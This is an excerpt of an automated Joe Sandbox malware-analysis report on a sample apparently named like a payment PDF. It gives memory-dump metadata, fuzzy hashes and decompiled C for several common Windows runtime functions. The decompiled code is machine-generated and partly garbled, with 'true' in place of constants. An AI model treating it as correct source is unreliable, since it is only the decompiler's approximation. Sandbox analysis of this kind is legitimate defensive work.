0x334791ff
0x33479205
0x33479209
0x3347920d
0x33479212
0x33479216
0x3347921f
0x334d24bc
0x33479225
0x33479225
0x33479225
0x3347922d
0x334d24cd
0x334d24df
0x334d24cf
0x334d24d8
0x334d24d8
0x334d24e9
0x334d24e9
0x3347924e
0x33479252
0x33479262
0x33479272
0x334d24f3
0x334d24f7
0x334d24f9
0x334d24fe
0x334d2502
0x334d2507
0x33479278
0x3347927f
0x33479288
0x3347928d
0x3347928d
0x33479272
0x33479297

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 28be50e18f7c6a96c4642090142a3b1f35eb08c3651d904e1aaf7ae70e460030
Instruction ID: e2ebb315a876f1d851e7c2cde55cbc86171ba1bc5e590f434728022559d73c32
Opcode Fuzzy Hash: 28be50e18f7c6a96c4642090142a3b1f35eb08c3651d904e1aaf7ae70e460030
Instruction Fuzzy Hash: 7E3188B6A083458FCB05CF18D84098ABBE9EF89750F04056AFC649B361DB31DC05CBAA

Uniqueness

Uniqueness Score: -1.00%

Function 3346E3C0 Relevance: .1, Instructions: 88
COMMON

Download Yara Rule

C-Code - Quality: 64%

			E3346E3C0(intOrPtr _a8, intOrPtr _a12) {
				signed int _v8;
				char _v264;
				void* _v265;
				char _v272;
				intOrPtr _v276;
				intOrPtr _v280;
				signed int _v284;
				void* _v288;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed char _t29;
				intOrPtr _t44;
				void* _t45;
				void* _t46;
				void* _t50;
				void* _t52;
				void* _t53;
				intOrPtr* _t55;
				void* _t56;
				signed int _t57;

				_v8 =  *0x3356b370 ^ _t57;
				_v284 = _v284 | 0xffffffff;
				_v276 = _a8;
				_t55 =  &_v264;
				_t44 = 0x100;
				_v280 = _a12;
				_v265 = 0;
				_v288 = 0xdc3cba00;
				do {
					_push( &_v272);
					_push(_t44);
					_push(_t55);
					_push(0);
					_push(0);
					_push(0x10);
					_t52 = E334B45E0();
					if(_t52 < 0) {
						if(_t52 != 0xc0000023) {
							goto L3;
						}
						if(_t55 !=  &_v264) {
							E33483BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t55);
						}
						_t44 = _v272;
						_t55 = L33485D90(_t46,  *((intOrPtr*)( *[fs:0x30] + 0x18)), "true", _t44);
						if(_t55 == 0) {
							_t29 = 1;
							L5:
							asm("sbb eax, eax");
							E33477AF0( &_v288, _v280, _v276,  ~(_t29 & 0x000000ff) &  &_v288, 0);
							_t34 =  &_v264;
							if(_t55 !=  &_v264) {
								if(_t55 != 0) {
									_t34 = E33483BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t55);
								}
							}
							_pop(_t53);
							_pop(_t56);
							_pop(_t45);
							return E334B4B50(_t34, _t45, _v8 ^ _t57, _t50, _t53, _t56);
						} else {
							_t52 = 0x105;
							goto L3;
						}
					}
					E3346E4F0(_t55);
					L3:
				} while (_t52 == 0x105);
				_t29 = _v265;
				goto L5;
			}

0x3346e3d2
0x3346e3d8
0x3346e3e1
0x3346e3e7
0x3346e3f0
0x3346e3f6
0x3346e3fc
0x3346e403
0x3346e40d
0x3346e413
0x3346e414
0x3346e415
0x3346e416
0x3346e418
0x3346e41a
0x3346e421
0x3346e425
0x3346e47f
0x00000000
0x00000000
0x3346e489
0x3346e4d5
0x3346e4d5
0x3346e48b
0x3346e4a2
0x3346e4a6
0x3346e4dc
0x3346e43b
0x3346e448
0x3346e459
0x3346e45e
0x3346e466
0x3346e4b4
0x3346e4c2
0x3346e4c2
0x3346e4b4
0x3346e46b
0x3346e46c
0x3346e46f
0x3346e476
0x3346e4a8
0x3346e4a8
0x00000000
0x3346e4a8
0x3346e4a6
0x3346e428
0x3346e42d
0x3346e42d
0x3346e435
0x00000000

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e0e0471fce111bf9f3d156406c08244df6d8f06a791af57a0440ff4586c86bc1
Instruction ID: 28852cbe9edb90264093a704a3d59c0f2d276404cac3947514775ac3bf07cded
Opcode Fuzzy Hash: e0e0471fce111bf9f3d156406c08244df6d8f06a791af57a0440ff4586c86bc1
Instruction Fuzzy Hash: DA31D675A0061CAFEB21CF24CD41FDE77F9EB05B44F0100A5E694A72A0D6749EC18FA4

Uniqueness

Uniqueness Score: -1.00%

Function 3346C0F6 Relevance: .1, Instructions: 88
COMMON

Download Yara Rule

C-Code - Quality: 70%

			E3346C0F6(intOrPtr __ebx, intOrPtr __ecx, void* __edx) {
				signed int _v8;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				void* _v92;
				char _v132;
				char _v133;
				intOrPtr _v140;
				intOrPtr _v144;
				intOrPtr _v148;
				void* __esi;
				intOrPtr _t32;
				signed int _t34;
				intOrPtr* _t37;
				char _t40;
				void* _t44;
				intOrPtr _t56;
				void* _t60;
				intOrPtr _t61;
				intOrPtr _t63;
				void* _t64;
				void* _t72;
				intOrPtr _t73;
				intOrPtr* _t76;
				intOrPtr _t78;
				void* _t82;
				intOrPtr _t85;
				signed char* _t86;
				void* _t87;
				signed int _t90;

				_t63 = __ebx;
				_push(__ecx);
				_t32 =  *0x3356664c; // 0x314f9d8
				_t85 = __ecx;
				_t34 = L33482330(_t32 + 0x18, _t32 + 0x18);
				asm("lock xadd [esi+0x14], eax");
				if((_t34 | 0xffffffff) == 1) {
					_t37 = _t85 + 8;
					_t78 =  *_t37;
					if( *((intOrPtr*)(_t78 + 4)) != _t37) {
						L7:
						_push("true");
						asm("int 0x29");
						_t7 = _t85 + 0x1c; // 0x1c
						_t81 = _t7;
						L334753C0(_t7);
						 *((intOrPtr*)(_t63 + 0xc8)) = _t85;
						L33540962(_t63);
						_push("true");
						_pop(_t79);
						_t9 = _t63 + 0x66; // 0x314fa3a
						_t86 = _t9;
						_v140 = _t79;
						_v144 = 2;
						do {
							if( *((char*)(_t86 - 2)) == 0) {
								_t40 = _v133;
							} else {
								_t13 = _t63 + 0x36; // 0x315
								_t68 =  *_t13 & 0x0000ffff;
								if((_t68 & 0x00003fff) == _v144 || _t68 < 0) {
									_t68 =  *_t86 & 0x000000ff;
									L334B1DA8( *_t86 & 0x000000ff, _t63);
									_t79 = _v140;
								}
								_t40 = 1;
								_v133 = 1;
							}
							_t86 =  &(_t86[0x18]);
							_t79 = _t79 - 1;
							_v140 = _t79;
						} while (_t79 != 0);
						if(_t40 == 0) {
							_t44 = E334752F0(_t68, _t81);
						} else {
							_t19 = _t63 + 0x36; // 0x315
							_push("true");
							_pop(_t72);
							if(( *_t19 & 0x00003fff) == _t72) {
								L334B8F40( &_v132, 0, 0x78);
								_t73 = _v148;
								_v28 =  *((intOrPtr*)(_t73 + 0x88));
								_v24 =  *((intOrPtr*)(_t73 + 0x8c));
								_v20 =  *((intOrPtr*)(_t73 + 0x90));
								asm("movsd");
								asm("movsd");
								asm("movsd");
								asm("movsd");
								E334752F0(_t73, _t73 + 0x1c);
								_t79 = _t63;
								_t44 = L3346DF21( &_v132, _t63, 1);
							} else {
								E334752F0(_t72, _t81);
								_t44 = L3354099E(_t63);
							}
						}
						_pop(_t82);
						_pop(_t87);
						_pop(_t64);
						return E334B4B50(_t44, _t64, _v8 ^ _t90, _t79, _t82, _t87);
					} else {
						_t76 =  *((intOrPtr*)(_t37 + 4));
						if( *_t76 != _t37) {
							goto L7;
						} else {
							_t56 =  *0x3356664c; // 0x314f9d8
							 *_t76 = _t78;
							 *((intOrPtr*)(_t78 + 4)) = _t76;
							E334824D0(_t56 + 0x18);
							_t60 = E33483BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t85);
							goto L2;
						}
					}
				} else {
					_t61 =  *0x3356664c; // 0x314f9d8
					_t60 = E334824D0(_t61 + 0x18);
					L2:
					return _t60;
				}
			}

0x3346c0f6
0x3346c0fb
0x3346c0fc
0x3346c105
0x3346c108
0x3346c110
0x3346c116
0x334cd416
0x334cd419
0x334cd41e
0x334cd450
0x334cd450
0x334cd453
0x334cd455
0x334cd455
0x334cd459
0x334cd460
0x334cd466
0x334cd46b
0x334cd46d
0x334cd46e
0x334cd46e
0x334cd471
0x334cd477
0x334cd481
0x334cd485
0x334cd4ba
0x334cd487
0x334cd487
0x334cd487
0x334cd499
0x334cd4a0
0x334cd4a5
0x334cd4aa
0x334cd4aa
0x334cd4b0
0x334cd4b2
0x334cd4b2
0x334cd4c0
0x334cd4c3
0x334cd4c6
0x334cd4c6
0x334cd4d0
0x334cd54e
0x334cd4d2
0x334cd4d2
0x334cd4de
0x334cd4e0
0x334cd4e4
0x334cd500
0x334cd505
0x334cd51a
0x334cd523
0x334cd52c
0x334cd532
0x334cd534
0x334cd535
0x334cd536
0x334cd537
0x334cd53e
0x334cd543
0x334cd4e6
0x334cd4e7
0x334cd4ee
0x334cd4ee
0x334cd4e4
0x3346dc9c
0x3346dc9d
0x3346dca0
0x3346dca7
0x334cd420
0x334cd420
0x334cd425
0x00000000
0x334cd427
0x334cd427
0x334cd42f
0x334cd432
0x334cd435
0x334cd446
0x00000000
0x334cd446
0x334cd425
0x3346c11c
0x3346c11c
0x3346c125
0x3346c12a
0x3346c12c
0x3346c12c

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 84a50489c1a844ebc1443b3f5ccea641796d90bac0ff5a8b208efa9271e9acd7
Instruction ID: 630c20923e8adef98dc2bf11c488486fa16ca6a2e5ec9bea493c3a99a86bb190
Opcode Fuzzy Hash: 84a50489c1a844ebc1443b3f5ccea641796d90bac0ff5a8b208efa9271e9acd7
Instruction Fuzzy Hash: AD31F9B9900350ABD7109F18CC41BA9B7B4EF41318F84C1ADD9969F782DA34E986CB9C

Uniqueness

Uniqueness Score: -1.00%

Function 334A43D0 Relevance: .1, Instructions: 87
COMMON

Download Yara Rule

C-Code - Quality: 68%

			E334A43D0(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, signed int _a20, signed int* _a32) {
				signed int _v8;
				char _v24;
				intOrPtr _v28;
				signed int _v32;
				signed int _v36;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr _t26;
				intOrPtr _t28;
				void* _t30;
				signed int* _t41;
				void* _t42;
				intOrPtr _t43;
				intOrPtr _t49;
				void* _t51;
				intOrPtr _t55;
				void* _t56;
				intOrPtr _t57;
				signed int _t58;

				_t60 = (_t58 & 0xfffffff8) - 0x24;
				_v8 =  *0x3356b370 ^ (_t58 & 0xfffffff8) - 0x00000024;
				_t26 = _a4;
				_t49 = _a8;
				_t43 = _a16;
				_v28 = _t26;
				_v36 = _a20;
				_t41 = _a32;
				_t55 = _a12;
				if(_t26 == 0 || _t41 == 0 || _t55 == 0 || _t43 > 0x10000) {
					E3349AB30(0x57);
					_t28 = 0x57;
				} else {
					asm("movsd");
					asm("movsd");
					asm("movsd");
					asm("movsd");
					 *_t41 =  *_t41 & 0x00000000;
					_t41[1] = _t41[1] & 0x00000000;
					_t30 = E334A44A8(_t26, _t49,  &_v24, _t43, _v36);
					_t53 = _t30;
					if(_t30 == 0) {
						_t57 =  *((intOrPtr*)( *[fs:0x18] + 0x34));
					} else {
						_t57 = L334819A0( &_v24, "true", _v28, _t53,  &_v36);
						if(_t57 != 0) {
							E33483BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t53);
						} else {
							 *_t41 = _v36;
							_t41[1] = _v32;
						}
					}
					if(_t57 != 0) {
						E3349AB30(_t57);
					}
					_t28 = _t57;
				}
				_pop(_t51);
				_pop(_t56);
				_pop(_t42);
				return E334B4B50(_t28, _t42, _v8 ^ _t60, _t49, _t51, _t56);
			}

0x334a43d8
0x334a43e2
0x334a43e6
0x334a43e9
0x334a43ec
0x334a43ef
0x334a43f7
0x334a43fb
0x334a43ff
0x334a4405
0x334a449e
0x334a44a5
0x334a4423
0x334a442b
0x334a4432
0x334a4435
0x334a4436
0x334a4437
0x334a443a
0x334a443e
0x334a4443
0x334a4447
0x334e2eff
0x334a444d
0x334a4463
0x334a4467
0x334e2f14
0x334a446d
0x334a4471
0x334a4477
0x334a4477
0x334a4467
0x334a447c
0x334a4495
0x334a4495
0x334a447e
0x334a447e
0x334a4484
0x334a4485
0x334a4486
0x334a4491

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a5605537e4098d6ef38a3f3cfe37a6a9819bf886ecc1ef6ea1cc8bfe9863520d
Instruction ID: 45d092025c1a6477b559868e443d706fca4562b628598f54ec32f5d860bc851f
Opcode Fuzzy Hash: a5605537e4098d6ef38a3f3cfe37a6a9819bf886ecc1ef6ea1cc8bfe9863520d
Instruction Fuzzy Hash: 2321AE726087419FDB11CF58D880B5F77E5FB88760F044519F998AB341DB30E9418BA6

Uniqueness

Uniqueness Score: -1.00%

Function 3346E328 Relevance: .1, Instructions: 86
COMMON

Download Yara Rule

C-Code - Quality: 80%

			E3346E328(void* __ecx, void* __edx, signed int* _a4) {
				char _v8;
				signed int _v12;
				void* __ebx;
				signed int _t28;
				signed int _t32;
				signed int _t34;
				signed char* _t37;
				intOrPtr _t38;
				intOrPtr* _t50;
				signed int _t53;
				void* _t69;

				_push(__ecx);
				_push(__ecx);
				_t69 = __ecx;
				_t53 =  *(__ecx + 0x10);
				_t2 = _t69 + 0x14; // 0x14
				_t50 = _t2;
				_t28 = _t53 + __edx;
				_v12 = _t28;
				if(_t28 >  *_t50) {
					_v8 = _t28 -  *_t50;
					_push(E3346F0E1( *((intOrPtr*)(__ecx + 0xc)), 1));
					_push(0x1000);
					_push( &_v8);
					_push(0);
					_push(_t50);
					_push(0xffffffff);
					_t32 = E334B2B10();
					__eflags = _t32;
					if(_t32 < 0) {
						 *_a4 =  *_a4 & 0x00000000;
						L2:
						return _t32;
					}
					 *((intOrPtr*)( *((intOrPtr*)(_t69 + 0xc)) + 0x1f8)) =  *((intOrPtr*)( *((intOrPtr*)(_t69 + 0xc)) + 0x1f8)) + _v8;
					_t34 = L33483C40();
					_t66 = 0x7ffe0380;
					__eflags = _t34;
					if(_t34 != 0) {
						_t37 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
					} else {
						_t37 = 0x7ffe0380;
					}
					__eflags =  *_t37;
					if( *_t37 != 0) {
						_t38 =  *[fs:0x30];
						__eflags =  *(_t38 + 0x240) & 0x00000001;
						if(( *(_t38 + 0x240) & 0x00000001) == 0) {
							goto L7;
						}
						__eflags = L33483C40();
						if(__eflags != 0) {
							_t66 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
							__eflags =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
						}
						E3352F1C3(_t50,  *((intOrPtr*)(_t69 + 0xc)),  *_t50, __eflags, _v8,  *( *((intOrPtr*)(_t69 + 0xc)) + 0x74) << 3,  *_t66 & 0x000000ff);
						L3352EFD3(_t50,  *((intOrPtr*)(_t69 + 0xc)),  *_t50, _v8, "true");
						goto L7;
					} else {
						L7:
						 *_t50 =  *_t50 + _v8;
						_t53 =  *(_t69 + 0x10);
						goto L1;
					}
				}
				L1:
				 *_a4 = _t53;
				 *(_t69 + 0x10) = _v12;
				_t32 = 0;
				goto L2;
			}

0x3346e32d
0x3346e32e
0x3346e331
0x3346e334
0x3346e337
0x3346e337
0x3346e33a
0x3346e33d
0x3346e342
0x3346e360
0x3346e368
0x3346e369
0x3346e371
0x3346e372
0x3346e374
0x3346e375
0x3346e377
0x3346e37c
0x3346e37e
0x3346e3b6
0x3346e351
0x3346e355
0x3346e355
0x3346e386
0x3346e38c
0x3346e391
0x3346e396
0x3346e398
0x334cd753
0x3346e39e
0x3346e39e
0x3346e39e
0x3346e3a0
0x3346e3a3
0x334cd75d
0x334cd763
0x334cd76a
0x00000000
0x00000000
0x334cd775
0x334cd777
0x334cd782
0x334cd782
0x334cd782
0x334cd79b
0x334cd7aa
0x00000000
0x3346e3a9
0x3346e3a9
0x3346e3ac
0x3346e3ae
0x00000000
0x3346e3ae
0x3346e3a3
0x3346e344
0x3346e347
0x3346e34c
0x3346e34f
0x00000000

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0c10296873cf600f6b0a0c706f82a02acdaa8580c5042cc564ea67225c26c471
Instruction ID: 0a3f5ff6c6d14847413fe03c6de074f2fae5cf5ca0a123401f60697645a8553c
Opcode Fuzzy Hash: 0c10296873cf600f6b0a0c706f82a02acdaa8580c5042cc564ea67225c26c471
Instruction Fuzzy Hash: 2B317435A00744AFEB11CF68C980F5AB7F8EB85358F1445A9E465DB690EB30EE82CB54

Uniqueness

Uniqueness Score: -1.00%

Function 334EE289 Relevance: .1, Instructions: 86
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E334EE289(intOrPtr* __ecx, intOrPtr __edx, signed int _a4, short* _a8, intOrPtr _a12, signed int* _a16) {
				intOrPtr _v8;
				intOrPtr _v12;
				signed int _v16;
				signed int _v20;
				short _t33;
				signed int _t34;
				intOrPtr _t35;
				signed int _t45;
				intOrPtr _t47;
				signed int _t48;
				signed int _t52;
				signed int _t54;
				intOrPtr* _t60;
				short* _t61;
				intOrPtr* _t62;
				signed int _t63;
				void* _t64;

				_t62 = __ecx;
				_v8 = __edx;
				_t45 = _a4;
				if(_t45 - 1 > 0x13) {
					L16:
					_t33 = 0xc0000100;
					L17:
					return _t33;
				}
				_t34 = _t45 * 0x1c;
				_v16 = _t34;
				_t54 =  *(_t34 + 0x33566384);
				_t60 = _t34 + 0x33566388;
				_v20 = _t54;
				_t47 = _t34 + 0x33566388 + _t54 * 8;
				_v12 = _t47;
				_t48 = _a4;
				if(_t60 >= _t47) {
					L5:
					if(_t54 != 3) {
						_t35 =  *0x335665d0; // 0x3141804
						if(_t35 == 0) {
							_t35 =  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0x10)) + 0x48));
						}
					} else {
						_t35 =  *((intOrPtr*)(_t34 + 0x3356639c));
					}
					 *_t62 = _t35;
					goto L16;
				}
				while(E334904F0( *_t60, _t48, _v8, _t48, ?str?) != 0) {
					_t48 = _a4;
					_t60 = _t60 + 8;
					if(_t60 < _v12) {
						continue;
					} else {
						_t34 = _v16;
						_t54 = _v20;
						goto L5;
					}
				}
				_t57 =  *_t60 + (_a4 + 1) * 2;
				_t61 = _a8;
				_t52 =  *((intOrPtr*)(_t60 + 4)) -  *_t60 + (_a4 + 1) * 2 >> 1;
				_t63 = _t52 - 1;
				if(_t61 == 0) {
					L12:
					 *_a16 = _t52;
					_t33 = 0xc0000023;
					goto L17;
				}
				if(_t63 >= _a12) {
					if(_a12 >= 1) {
						 *_t61 = 0;
					}
					goto L12;
				}
				 *_a16 = _t63;
				_t64 = _t63 + _t63;
				L334B88C0(_t61, _t57, _t64);
				_t33 = 0;
				 *((short*)(_t64 + _t61)) = 0;
				goto L17;
			}

0x334ee292
0x334ee294
0x334ee297
0x334ee2a1
0x334ee367
0x334ee367
0x334ee36c
0x334ee36f
0x334ee36f
0x334ee2a7
0x334ee2aa
0x334ee2ad
0x334ee2b9
0x334ee2bf
0x334ee2c2
0x334ee2c5
0x334ee2ca
0x334ee2cd
0x334ee2f3
0x334ee2f6
0x334ee350
0x334ee357
0x334ee362
0x334ee362
0x334ee2f8
0x334ee2f8
0x334ee2f8
0x334ee365
0x00000000
0x334ee365
0x334ee2cf
0x334ee2e2
0x334ee2e5
0x334ee2eb
0x00000000
0x334ee2ed
0x334ee2ed
0x334ee2f0
0x00000000
0x334ee2f0
0x334ee2eb
0x334ee306
0x334ee30c
0x334ee311
0x334ee313
0x334ee318
0x334ee344
0x334ee347
0x334ee349
0x00000000
0x334ee349
0x334ee31d
0x334ee33d
0x334ee341
0x334ee341
0x00000000
0x334ee33d
0x334ee322
0x334ee324
0x334ee329
0x334ee331
0x334ee333
0x00000000

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 757cb0c8699b95033a7e4bc729308cddff57ea71ec7ab6e45e1819b06324e6b1
Instruction ID: a6150fffa81b64f8abb450b31f383bfbf9fe8ebcd833ff95482504781ec10618
Opcode Fuzzy Hash: 757cb0c8699b95033a7e4bc729308cddff57ea71ec7ab6e45e1819b06324e6b1
Instruction Fuzzy Hash: 8831AE79A00206EFCB04CF1CC88099EB7B6FF88700B158959E8159B361E731FA81CF98

Uniqueness

Uniqueness Score: -1.00%

Function 334F0371 Relevance: .1, Instructions: 79
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E334F0371(signed short* __ecx, intOrPtr __edx) {
				signed int _v8;
				signed short* _v16;
				intOrPtr _v20;
				signed short* _v24;
				signed short _v28;
				signed int _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t27;
				intOrPtr _t29;
				signed short _t37;
				signed short* _t43;
				signed int _t45;
				signed short _t51;
				signed short* _t52;
				intOrPtr _t53;
				signed short _t54;
				signed int _t55;

				_v8 =  *0x3356b370 ^ _t55;
				_v32 = _v32 & 0x00000000;
				_t43 = __ecx;
				_v40 = __edx;
				_t27 =  *__ecx & 0x0000ffff;
				_t52 =  &(__ecx[2]);
				_t45 = _t27;
				_t51 = _t27;
				_t53 = _t45 + 2;
				_v36 = _t53;
				if(_t53 > (__ecx[1] & 0x0000ffff)) {
					L4:
					_t29 =  *0x33565d78; // 0x0
					_t54 = L33485D90(_t45,  *((intOrPtr*)( *[fs:0x30] + 0x18)), _t29 + 0x180000, _t53);
					if(_t54 == 0) {
						L8:
						return E334B4B50(_t32, _t43, _v8 ^ _t55, _t51, _t52, _t54);
					}
					L334B88C0(_t54,  *_t52,  *_t43 & 0x0000ffff);
					 *((short*)(_t54 + (( *_t43 & 0x0000ffff) >> 1) * 2)) = 0;
					_t37 =  *_t43 & 0x0000ffff;
					L6:
					_t43 = _v32;
					_v28 = _t54;
					_v20 = (_t37 & 0x0000ffff) + 2;
					_v24 = _t43;
					_v16 = _t43;
					_t32 = L3346BD70(0x33451298, _v40, "true",  &_v28);
					if(_t54 !=  *_t52) {
						_t32 = E33483BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t43, _t54);
					}
					goto L8;
				}
				_t54 =  *_t52;
				if( *((intOrPtr*)(_t54 + _t45 * 2)) != _v32) {
					_t53 = _v36;
					goto L4;
				}
				_t37 = _t51;
				goto L6;
			}

0x334f0380
0x334f0383
0x334f0388
0x334f038a
0x334f038f
0x334f0392
0x334f0395
0x334f0397
0x334f039d
0x334f03a0
0x334f03a5
0x334f03bb
0x334f03bb
0x334f03d5
0x334f03d9
0x334f0434
0x334f0442
0x334f0442
0x334f03e2
0x334f03f1
0x334f03f5
0x334f03f8
0x334f03f8
0x334f0401
0x334f0404
0x334f0410
0x334f0418
0x334f041b
0x334f0422
0x334f042f
0x334f042f
0x00000000
0x334f0422
0x334f03a7
0x334f03b2
0x334f03b8
0x00000000
0x334f03b8
0x334f03b4
0x00000000

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3531535c980c03c4d7470c3a06dfeb14de0ad5cf159b0ffe16dae9762afc1663
Instruction ID: 849e127eedcab68e61f013e0c50193bfbb0c2ed4f86be99ef9e23c32f80af657
Opcode Fuzzy Hash: 3531535c980c03c4d7470c3a06dfeb14de0ad5cf159b0ffe16dae9762afc1663
Instruction Fuzzy Hash: 90217A71E006299BCF14DF59C881ABEB7F4FF48744B550069F841EB240D779AD42CBA8

Uniqueness

Uniqueness Score: -1.00%

Function 3349F24A Relevance: .1, Instructions: 79
COMMON

Download Yara Rule

C-Code - Quality: 61%

			E3349F24A(signed int __eax, void* __ebx, void* __ecx, signed int* __edx, void* __edi, void* __esi, signed int* _a4) {
				void* _v8;
				unsigned int _v20;
				void* _v32;
				intOrPtr* _t19;
				signed int* _t25;
				intOrPtr* _t35;
				intOrPtr _t40;
				unsigned int _t44;
				void* _t47;

				_push(__ecx);
				_push(__ecx);
				_t28 = __edx;
				_t47 = __ecx;
				asm("lock xadd [esi+0x2c], eax");
				if((__eax | 0xffffffff) == 1) {
					_t31 =  *((intOrPtr*)(__ecx + 0x28));
					if( *((intOrPtr*)(__ecx + 0x28)) != 0) {
						E3346C0F6(__edx, _t31, __edx);
					}
					_t19 = _t47 + 4;
					_t40 =  *_t19;
					if( *((intOrPtr*)(_t40 + 4)) != _t19) {
						L9:
						_push("true");
						_pop(_t32);
						asm("int 0x29");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("lock or [eax], ecx");
						return E3349F326(_v20, 1, 0);
					} else {
						_t35 =  *((intOrPtr*)(_t19 + 4));
						if( *_t35 != _t19) {
							goto L9;
						} else {
							 *_t35 = _t40;
							 *((intOrPtr*)(_t40 + 4)) = _t35;
							_t44 =  *((intOrPtr*)(_t47 + 0x30));
							 *_t28 =  *((intOrPtr*)(_t47 + 0x38));
							 *_a4 =  *(_t47 + 0x3c);
							_t25 = E33483BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t47);
							if(_t44 != 0) {
								 *_t44 = 1;
								asm("lock or [eax], ecx");
								_t25 = E3349F326(_t44, 0, 0);
							}
							goto L2;
						}
					}
				} else {
					_t25 = _a4;
					 *__edx =  *__edx & 0x00000000;
					 *_t25 =  *_t25 & 0x00000000;
					L2:
					return _t25;
				}
			}

0x3349f24f
0x3349f250
0x3349f254
0x3349f256
0x3349f25b
0x3349f261
0x3349f273
0x3349f278
0x3349f2cf
0x3349f2cf
0x3349f27a
0x3349f27d
0x3349f282
0x3349f2d6
0x3349f2d6
0x3349f2d8
0x3349f2d9
0x3349f2db
0x3349f2dc
0x3349f2dd
0x3349f2de
0x3349f2df
0x3349f2eb
0x3349f2fa
0x3349f284
0x3349f284
0x3349f289
0x00000000
0x3349f28b
0x3349f28b
0x3349f28d
0x3349f293
0x3349f296
0x3349f2a1
0x3349f2ac
0x3349f2b3
0x3349f2b5
0x3349f2c0
0x3349f2c8
0x3349f2c8
0x00000000
0x3349f2b3
0x3349f289
0x3349f263
0x3349f263
0x3349f266
0x3349f269
0x3349f26c
0x3349f270
0x3349f270

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3a330ed7ea655d71dd4bed34469b5c9d3971825b19a448a40de0f01e8c52a13d
